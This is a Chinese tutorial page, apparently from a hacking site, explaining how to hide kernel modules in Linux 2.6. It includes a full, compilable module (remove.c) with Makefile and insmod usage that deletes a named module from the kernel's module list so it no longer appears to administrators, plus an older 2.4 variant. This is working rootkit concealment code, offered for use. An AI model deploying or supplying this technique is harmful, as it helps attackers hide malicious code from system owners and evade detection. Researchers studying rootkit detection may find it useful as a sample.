教你怎样隐藏Linux2.6的内核模块
日期:2007年6月2日 作者: 查看:[大字体 中字体 小字体]-
2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)
strUCt module *p;
for (p=&__this_module; p->next; p=p->next)
{
if (strcmp(p->next->name, str))
continue;
p->next=p->next->next; // <-- here it removes that module
break;
}
2.4的module定义为:
struct module
{
unsigned long size_of_struct; /* == sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
...
}
2.6为:
struct module
{
enum module_state state;
/* Member of list of modules */
struct list_head list; <--- 变成了双向链表
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
...
}
因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为:
/*
* FileName: remove.c
* Author: CoolQ
* Date: 23:05 2004-9-2
* Makefile:
* ---------------- cut here -----------------
* obj-m += remove.o
* KDIR:= /lib/modules/$(shell uname -r)/build
* PWD:= $(shell pwd)
* default:
* $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
*----------------- cut here -----------------
* Compile:
* [root@coolq tmp]make
* Usage:
* [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide
*/
#include
#include
#include
#include
#include
#include
static char *mod_name = "module";
module_param(mod_name, charp, 0);
static int remove_init(void)
{
struct module *mod_head, *mod_counter;
struct list_head *p;
mod_head = &__this_module;
list_for_each(p, &mod_head->list){
mod_counter = list_entry(p, struct module, list);
if(strcmp(mod_counter->name, mod_name) == 0){
list_del(p);
printk("remove module %s successfully.\n", mod_name);
return 0;
}
}
printk("Can't find module %s.\n", mod_name);
return 0;
}
static void remove_exit(void)
{
}
module_init(remove_init);
module_exit(remove_exit);
MODULE_LICENSE("Dual BSD/GPL"); - [1] [2] 下一页
-
- 教你怎样隐藏Linux2.6的内核模块 相关文章:
- 教你怎样隐藏Linux2.6的内核模块 相关软件
- 特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作
- 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转
- 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源:http://www.hackhome.com
下一篇:Linux管理工具介绍
精品推荐
热点TOP10
- ·Linux学习手册
- ·在Linux 和FireWire上创建自己的RAC 集群
- ·Linux操作系统源代码详细分析
- ·linux知识大全
- ·Linux/Unix环境下的make命令详解
- ·RPM命令大全
- ·Linux From Scratch安装学习笔记
- ·在Linux下配置TCP/IP
- ·为CanonPIXMAiP1000喷墨打印机安装驱动程序
- ·常见端口表汇总
- ·Pure-FTPd + LDAP + MySQL + PGSQL + Virtual-Users + Quota How To
- ·LINUX 常见问题1000个详细解答
- ·万能声卡驱动(Alsa)的安装方法
- ·hdparm硬盘加速
- ·Linux管理工具介绍
- ·Linux发行版图标大全
- ·Linux中系统整体性能监控工具详细介绍
- ·长篇连载--arm linux演艺---序
- ·Bourne shell编程入门及脚本测试
- ·重安装gentoo 2005.1 for AMD64版经验
特别推荐
- ·Linux管理工具介绍
- ·Linux操作系统源代码详细分析
- ·Linux下用pptp连接VPN服务器
- ·在linux7.1上安装jdk+tomcat+oracle9i笔记
- ·Linux学习手册
- ·学习Linux的八点忠告
- ·深入分析Linux防火墙
- ·UNIX系统后门的安放和日志的擦除
- ·揭开Expect的神秘面纱
- ·万能声卡驱动(Alsa)的安装方法
- ·长篇连载--arm linux演艺---序
- ·为CanonPIXMAiP1000喷墨打印机安装驱动程序
- ·详细讲解Linux系统下ADSL拨号上网方法
- ·使用ImageMagick 的提示与技巧
- ·轻松实现 Linux系统下互联网过滤功能
- ·Linux下一些故障现象以及解决的相关资源
- ·重安装gentoo 2005.1 for AMD64版经验
- ·Linux/Unix环境下的make命令详解
- ·只需十分钟 Linux环境下快速搭建维基网站
- ·常见端口表汇总
